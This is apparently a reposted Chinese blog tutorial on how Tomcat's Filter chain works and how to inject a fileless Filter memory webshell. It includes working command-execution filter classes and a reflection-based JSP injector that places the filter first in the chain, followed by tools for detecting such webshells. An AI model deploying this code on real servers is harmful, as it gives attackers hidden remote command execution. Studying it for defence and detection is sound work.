6. 站在巨人的肩膀學習Java Filter型內存馬


本文站在巨人的肩膀學習Java Filter型內存馬,文章里面的鏈接以及圖片引用於下面文章,參考文章:

Tomcat 內存馬學習(一):Filter型

tomcat無文件內存webshell

Java Filter型內存馬的學習與實踐

JSP Webshell那些事

中間件內存馬注入&冰蠍連接

Java安全之基於Tomcat實現內存馬

Tomcat內存馬學習一-Filter型

什么是Servlet

Servlet 是運行在 Web 服務器或應用服務器上的程序,它是作為來自 HTTP 客戶端的請求和 HTTP 服務器上的數據庫或應用程序之間的中間層。它負責處理用戶的請求,並根據請求生成相應的返回信息提供給用戶。

請求的處理流程

  1. 客戶端發起一個http請求,比如get類型。

  2. Servlet容器接收到請求,根據請求信息,封裝成HttpServletRequest和HttpServletResponse對象。

  3. Servlet容器調用HttpServlet的init()方法,init方法只在第一次請求的時候被調用。

  4. Servlet容器調用service()方法。service()方法根據請求類型,這里是get類型,分別調用doGet或者

    doPost方法,這里調用doGet方法。doXXX方法中是我們自己寫的業務邏輯。

  5. 業務邏輯處理完成之后,返回給Servlet容器,然后容器將結果返回給客戶端。容器關閉時候,會調用destory方法

1.3 Tomcat和Servlet的關系

Tomcat 是Web應用服務器,是一個Servlet/JSP容器,Tomcat 作為Servlet容器,負責處理客戶請求,把請求傳送給Servlet,並將Servlet的響應傳送回給客戶。

 

其中Tomcat中有四種類型的Servlet容器,從上到下分別是 Engine、Host、Context、Wrapper

  1. Engine,實現類為 org.apache.catalina.core.StandardEngine

  2. Host,實現類為 org.apache.catalina.core.StandardHost

  3. Context,實現類為 org.apache.catalina.core.StandardContext

  4. Wrapper,實現類為 org.apache.catalina.core.StandardWrapper

 

它們之間是存在父子關系的

  • Engine:可以用來配置多個虛擬主機,每個虛擬主機都有一個域名,當Engine獲得一個請求時,它把該請求匹配到某個Host上,然后把該請求交給該Host來處理,Engine有一個默認虛擬主機,當請求無法匹配到任何一個Host上的時候,將交給該默認Host來處理。
  • Host:一個 Host 代表一個虛擬主機,其下可以包含多個 Context。
  • Context:一個Context對應於一個Web Application,一個WebApplication由一個或者多個Servlet組成。 Context在創建的時候將根據配置文件\$CATALINA_HOME/conf/web.xml和\$WEBAPP_HOME/WEB-INF/web.xml載入Servlet類,當Context獲得請求時,將在自己的映射表(mapping table)中尋找相匹配的Servlet類。如果找到,則執行該類,獲得請求的回應,並返回。
  • Wrapper:一個 Wrapper 代表一個 Servlet。

 

每個Wrapper實例表示一個具體的Servlet定義,StandardWrapper是Wrapper接口的標准實現類(StandardWrapper 的主要任務就是載入Servlet類並且進行實例化)

最終的流程圖如下:

Tomcat容器

在 Tomcat 中,每個 Host 下可以有多個 Context (Context 是 Host 的子容器), 每個 Context 都代表一個具體的Web應用,都有一個唯一的路徑就相當於下圖中的 /shop /manager 這種,在一個 Context 下可以有着多個 Wrapper Wrapper 主要負責管理 Servlet ,包括的 Servlet 的裝載、初始化、執行以及資源回收

Tomcat Filter流程分析

什么是Filter

filter也稱之為過濾器,過濾器實際上就是對web資源進行攔截,做一些過濾,權限鑒別等處理后再交給下一個過濾器或servlet處理,通常都是用來攔截request進行處理的,也可以對返回的response進行攔截處理。

  當多個filter同時存在的時候,組成了filter鏈。web服務器根據Filter在web.xml文件中的注冊順序,決定先調用哪個Filter。第一個Filter的doFilter方法被調用時,web服務器會創建一個代表Filter鏈的FilterChain對象傳遞給該方法。在doFilter方法中,開發人員如果調用了FilterChain對象的doFilter方法,則web服務器會檢查FilterChain對象中是否還有filter,如果有,則調用第2個filter,如果沒有,則調用目標資源。

  如果我們動態創建一個filter並且將其放在最前面,我們的filter就會最先執行,當我們在filter中添加惡意代碼,就會進行命令執行,這樣也就成為了一個內存 Webshell

Filter生命周期

public void init(FilterConfig filterConfig) throws ServletException;   //初始化

和我們編寫的Servlet程序一樣,Filter的創建和銷毀由WEB服務器負責。web 應用程序啟動時, web 服務器將創建Filter 的實例對象,並調用其init方法,讀取web.xml配置,完成對象的初始化功能,從而為后續的用戶請求作好攔截的准備工作(filter對象只會創建一次,init方法也只 會執行一次)。開發人員通過init方法的參數,可獲得代表當前filter配置信息的FilterConfig對象。

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;   //攔截請求

這個方法完成實際的過濾操作。當客戶請求訪問與過濾器關聯的URL的時候,Servlet過濾器將先執行doFilter方法。FilterChain參數用於訪問后續過濾器。

public void destroy();  //銷毀

Filter對象創建后會駐留在內存,當web應用移除或服務器停止時才銷毀。在Web容器卸載Filter對象之前被調用。該方法在Filter的生命周期中僅執行一次。在這個方法中,可以釋放過濾器使用的資源。

相關Filter類介紹

FilterDefs:存放FilterDef的數組 ,FilterDef 中存儲着我們過濾器名,過濾器實例等基本信息

FilterConfigs:存放filterConfig的數組,在 FilterConfig 中主要存放 FilterDef 和 Filter對象等信息

FilterMaps:存放FilterMap的數組,在 FilterMap 中主要存放了 FilterName 和 對應的URLPattern

FilterChain:過濾器鏈,該對象上的 doFilter 方法能依次調用鏈上的 Filter

ApplicationFilterChain:調用過濾器鏈

ApplicationFilterConfig:獲取過濾器

ApplicationFilterFactory:組裝過濾器鏈

WebXml:存放 web.xml 中內容的類

ContextConfig:Web應用的上下文配置類

StandardContext:Context接口的標准實現類,一個 Context 代表一個 Web 應用,其下可以包含多個 Wrapper

StandardWrapperValve:一個 Wrapper 的標准實現類,一個 Wrapper 代表一個Servlet

Filter過濾鏈分析

在IDEA中創建Servlet,可參照下方鏈接《IntelliJ IDEA創建Servlet最新方法 Idea版本2020.2.2以及IntelliJ IDEA創建Servlet 404問題(超詳細)》,唯一不一樣的是Filter配置在web.xml,而不是通過@注釋配置在類中。

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>filter.FilterDemo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <filter>
        <filter-name>filterDemo2</filter-name>
        <filter-class>filter.FilterDemo2</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

</web-app>

這里寫了兩個FilterDemo,代碼基本相同,主要是為了展示這個Filter過濾鏈

FilterDemo.java:

package filter;

import javax.servlet.*;
import java.io.IOException;

public class FilterDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("第一個Filter 初始化創建");
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("第一個Filter執行過濾操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }
    @Override
    public void destroy() {
    }
}

訪問 http://localhost:8080/,即可成功觸發

接下來借用下面這張圖分析一下 Tomcat 中是如何將我們自定義的 filter 進行設置並且調用的:

Filter的配置在web.xml中,Tomcat會首先通過ContextConfig創建WebXML的實例來解析web.xml

先來看在StandardWrapperValue.java文件中中利用createFilterChain來創建filterChain

跟進createFilterChain方法

通過getParent()獲取當前的Context,也就是當前的應用,然后從Context中獲取filterMaps

然后開始遍歷FilterMaps

如果當前請求的url與FilterMap中的urlPattern匹配,就會調用 findFilterConfig 方法在 filterConfigs 中尋找對應 filterName名稱的 FilterConfig,然后如果不為null,就進入if循環,將 filterConfig 添加到 filterChain中,跟進addFilter方法

可以看到此時已經裝配第一個filter

重復遍歷直至將所有的filter全部裝載到filterchain中

重新回到 StandardContextValue 中,調用 filterChain 的 doFilter 方法 ,就會依次調用 Filter 鏈上的 doFilter方法

此時的filterchain

跟進doFilter方法,在 doFilter 方法中會調用 internalDoFilter方法

跟進internalDoFilter方法

image.png

發現會依次從 filters 中取出 filterConfig,然后會調用 getFilter() 將 filter 從filterConfig 中取出,調用 filter 的 doFilter方法。從而調用我們自定義過濾器中的 doFilter 方法,從而觸發了相應的代碼。

總結:

  1. 根據請求的 URL 從 FilterMaps 中找出與之 URL 對應的 Filter 名稱
  2. 根據 Filter 名稱去 FilterConfigs 中尋找對應名稱的 FilterConfig
  3. 找到對應的 FilterConfig 之后添加到 FilterChain中,並且返回 FilterChain
  4. filterChain 中調用 internalDoFilter 遍歷獲取 chain 中的 FilterConfig ,然后從 FilterConfig 中獲取 Filter,然后調用 Filter 的 doFilter 方法

 

根據上面的總結可以發現最開始是從 context 中獲取的 FilterMaps

將符合條件的依次按照順序進行調用,那么我們可以將自己創建的一個 FilterMap 然后將其放在 FilterMaps 的最前面,這樣當 urlpattern 匹配的時候就回去找到對應 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最終觸發我們的內存shell。

Filter型內存馬

Filter型內存馬原理

Filter是javaweb中的過濾器,會對客戶端發送的請求進行過濾並做一些操作,我們可以在filter中寫入命令執行的惡意文件,讓客戶端發來的請求通過它來做命令執行。而filter內存馬是通過動態注冊一個惡意filter,由於是動態注冊的,所以這個filter沒有文件實體,存在於內存中,隨着tomcat重啟而消失。一般我們把這個filter放在所有filter最前面優先執行,這樣我們的請求就不會受到其他正常filter的干擾。

web.xml簡單實現內存馬注入

看完上面的Filter過濾鏈,本地模擬一個Filter內存馬注入:

在web.xml添加一個惡意的filter:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
        <filter-name>cmd_Filters</filter-name>
        <filter-class>filter.cmd_Filters</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>cmd_Filters</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>filter.FilterDemo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

</web-app>

cmd_Filters.java

package filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class cmd_Filters implements Filter {
    public void destroy() {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
        }
        chain.doFilter(request, response);
    }

    public void init(FilterConfig config) throws ServletException {

    }

}

重新編譯,執行命令

我們把惡意的Filter注入內存中,只要符合urlpattern,就可以觸發內存shell,但這個Filter內存馬注入是一次性的,重啟就沒有了。

 

看一下此時的Filter類filterConfigs,filterDefs,filterMaps保存的內容

filterchain中保存的內容

可以發現程序在創建過濾器鏈的時候,如果我們能夠修改filterConfigs,filterDefs,filterMaps這三個變量,將我們惡意構造的FilterName以及對應的urlpattern存放到FilterMaps,就可以組裝到filterchain里,當訪問符合urlpattern的時候,就能達到利用Filter執行內存注入的操作。

Filter內存馬動態注入

從上面的例子簡單知道內存馬的注入過程,但是實際環境中怎么可能在web.xml中添加對應的惡意Filter類,所以我們需要借用Java反射來修改filterConfigs,filterDefs,filterMaps這三個變量,將我們惡意構造的FilterName以及對應的urlpattern存放到FilterMaps,進而達到利用Filter執行內存注入的操作。

大致流程如下:

  1. 創建一個惡意 Filter

  2. 利用 FilterDef 對 Filter 進行一個封裝

  3. 將 FilterDef 添加到 FilterDefs 和 FilterConfig

  4. 創建 FilterMap ,將我們的 Filter 和 urlpattern 相對應,存放到 filterMaps中(由於 Filter 生效會有一個先后順序,所以我們一般都是放在最前面,讓我們的 Filter 最先觸發)

 

從前面的的分析,可以發現程序在創建過濾器鏈的時候,context變量里面包含了三個和filter有關的成員變量:filterConfigs,filterDefs,filterMaps

現在要解決的兩個問題:

  1. 如何獲取這個context對象。
  2. 如何修改filterConfigs,filterDefs,filterMaps,將惡意類插入。

1) 如何獲取這個(StandardContext)context對象

在這之前先來說一下ServletContext跟StandardContext的關系:

Tomcat中的對應的ServletContext實現是ApplicationContext

在Web應用中獲取的ServletContext實際上是ApplicationContextFacade對象,對ApplicationContext進行了封裝,而ApplicationContext實例中又包含了StandardContext實例,以此來獲取操作Tomcat容器內部的一些信息,例如Servlet的注冊等。通過下面的圖可以很清晰的看到兩者之間的關系

當我們能直接獲取 request 的時候,可以直接將 ServletContext 轉為 StandardContext 從而獲取 context。

其實也是層層遞歸取出context字段的值。

 

ServeltContext -> ApplicationContext

ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

//上面幾行的目的是為了獲取(ApplicationContext)context

通過Java反射獲取servletContext所屬的類(ServletContext實際上是ApplicationContextFacade對象),使用getDeclaredField根據指定名稱context獲取類的屬性(private final org.apache.catalina.core.ApplicationContext),因為是private類型,所以使用setAccessible取消對權限的檢查,實現對私有的訪問,此時appctx的值:

通過(ApplicationContext) appctx.get(servletContext)獲取(ApplicationContext)context的內容:

現在的目的是繼續獲取(StandardContext)context的值

 

ApplicationContext -> StandardContextApplicationContext實例中包含了StandardContext實例

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//上面幾行的目的是為了獲取(StandradContext)context

通過Java反射獲取applicationContext所屬的類(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根據指定名稱context獲取類的屬性(private final org.apache.catalina.core.StandardContext),因為是private類型,使用setAccessible取消對權限的檢查,實現對私有的訪問,此時stdctx的值:

通過(StandardContext) stdctx.get(servletContext)獲取(StandardContext)context的內容:

這樣就可以獲取(StandardContext)context對象。

組合起來就是:

ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 為 ServletContext 的實現類
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 這樣我們就獲取到了 context 
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 

上面這種如果是可以直接獲取到request對象,就可以通過將ServletContext轉StandardContext這種方法來獲取(StandardContext)context的方法。如果沒有request對象的話可以從當前線程中獲取StandardContext(https://zhuanlan.zhihu.com/p/114625962)。

當然也可以從MBean中獲取,可以參考下面文章:

TOMCAT FILTER 之動態注入

通過Mbean獲取context

2) 如何修改filterConfigs,filterDefs,filterMaps

查看StandardContext源碼,先來介紹幾個方法

addFilterDef

添加一個filterDef到Context

addFilterMapBefore

添加filterMap到所有filter最前面

ApplicationFilterConfig

為指定的過濾器構造一個新的 ApplicationFilterConfig

 

 

先來定義一個惡意的類filterDemo.java

package filter;

import javax.servlet.*;
import java.io.IOException;

class filterDemo implements Filter {
    
  @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
  
  @Override
  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    String cmd = servletRequest.getParameter("cmd");
    if (cmd!= null) {
      Process process = Runtime.getRuntime().exec(cmd);
      java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
           new java.io.InputStreamReader(process.getInputStream()));
           StringBuilder stringBuilder = new StringBuilder();
           String line;
           while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
           }
           servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
           servletResponse.getOutputStream().flush();
           servletResponse.getOutputStream().close();
           return;
     }
     filterChain.doFilter(servletRequest, servletResponse);
  }

  @Override
  public void destroy() {
  }
}

filterDef裝載

看一下filterDef類的參數格式:

實例化一個FilterDef對象,並將惡意構造的惡意類添加到filterDef中

//定義一些基礎屬性、類名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();

//name = filterDemo
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

//添加filterDef
standardContext.addFilterDef(filterDef);

filterMap裝載

看一下filterMap類的參數格式:

實例化一個FilterMap對象,並將filterMap到所有filter最前面

//創建filterMap,設置filter和url的映射關系,可設置成單一url如/xyz ,也可以所有頁面都可觸發可設置為/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/xyz");

//name = filterDemo
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

//添加我們的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);

filterConfigs裝載

FilterConfigs存放filterConfig的數組,在FilterConfig中主要存放FilterDef和Filter對象等信息

先獲取當前filterConfigs信息

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

下面通過Java反射來獲得構造器(Constructor)對象並調用其newInstance()方法創建創建FilterConfig

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

先調用ApplicationFilterConfig.class.getDeclaredConstructor方法,根據context.class與filterDef.class兩種參數類型尋找對應的構造方法,獲取一個Constructor類對象。

然后通過newInstance(standardContext, filterDef)來創建一個實例。

然后將惡意的filter名和配置好的filterConfig傳入

//name = filterDemo
filterConfigs.put(name,filterConfig);

至此,我們的惡意filter已經全部裝載完成

3) 內存馬動態注入

結合上面的分析,最終的內存馬為:

filterDemo.jsp

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
  final String name = "FilterAgent";
  ServletContext servletContext = request.getSession().getServletContext();

  Field appctx = servletContext.getClass().getDeclaredField("context");
  appctx.setAccessible(true);
  ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

  Field stdctx = applicationContext.getClass().getDeclaredField("context");
  stdctx.setAccessible(true);
  StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

  Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  Configs.setAccessible(true);
  Map filterConfigs = (Map) Configs.get(standardContext);

  if (filterConfigs.get(name) == null){
    Filter filter = new Filter() {
      @Override
      public void init(FilterConfig filterConfig) throws ServletException {

      }

      @Override
      public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("cmd") != null){
          byte[] bytes = new byte[1024];
          Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
          int len = process.getInputStream().read(bytes);
          servletResponse.getWriter().write(new String(bytes,0,len));
          process.destroy();
          return;
        }
        filterChain.doFilter(servletRequest,servletResponse);
      }

      @Override
      public void destroy() {

      }

    };


    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    /**
     * 將filterDef添加到filterDefs中
     */
    standardContext.addFilterDef(filterDef);

    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());

    standardContext.addFilterMapBefore(filterMap);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

    filterConfigs.put(name,filterConfig);
    out.print("Inject Success !");
  }
%>

tomcat 7 與 tomcat 8 在 FilterDef 和 FilterMap 這兩個類所屬的包名不一樣

<!-- tomcat 8/9 -->

<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"

<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->

 

<!-- tomcat 7 -->

<%@ page import = "org.apache.catalina.deploy.FilterMap" %>

<%@ page import = "org.apache.catalina.deploy.FilterDef" %>

運行程序,訪問filterDemo.jsp

此時的內存馬已經注入到內存中,只需 ?cmd=Command,即可執行我們的命令

看一下此時的filterchain過濾鏈:

看一下filterConfigs,filterDefs,filterMaps中的內容:

已經成功注入到內存中

內存馬排查

參考《tomcat內存馬的多種查殺方式

arthas

arthas是Alibaba開源的Java診斷工具

工具鏈接:https://github.com/alibaba/arthas

使用文檔:https://arthas.aliyun.com/doc/quick-start.html

運行下面命令

java -jar arthas-boot.jar

輸入1選擇tomcat的進程,之后會進入下面的操作界面:


利用下面的命令進行模糊搜索,會列出所有調用了Filter的類

 sc *.Filter 

利用下面命令將 Class 進行反編譯

 jad --source-only org.apache.jsp.filterDemo_jsp


同時也可以進行監控 ,當我們訪問 url 就會輸出監控結果

watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'

copagent

工具鏈接:https://github.com/LandGrey/copagent

運行下面命令

java -jar cop.jar

輸入1選擇tomcat的進程,之后會進入下面的操作界面:

然后在java或class文件夾會保存木馬以及運行的類

java-memshell-scanner

工具鏈接:https://github.com/c0ny1/java-memshell-scanner

c0ny1 師傅寫的檢測內存馬的工具,通過jsp腳本掃描並查殺各類中間件內存馬,比Java agent要溫和一些。能夠檢測並且進行刪除,是一個非常方便的工具

 

內存馬遠不止這些,本文中內存馬還是需要上傳 jsp 來生效,但是實際上利用方式遠不止這樣,我們還可以借助各種反序列化來動態注冊 Filter 等。

 

本次項目的代碼文件已打包在github:https://github.com/bmjoker/FilterAgent

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM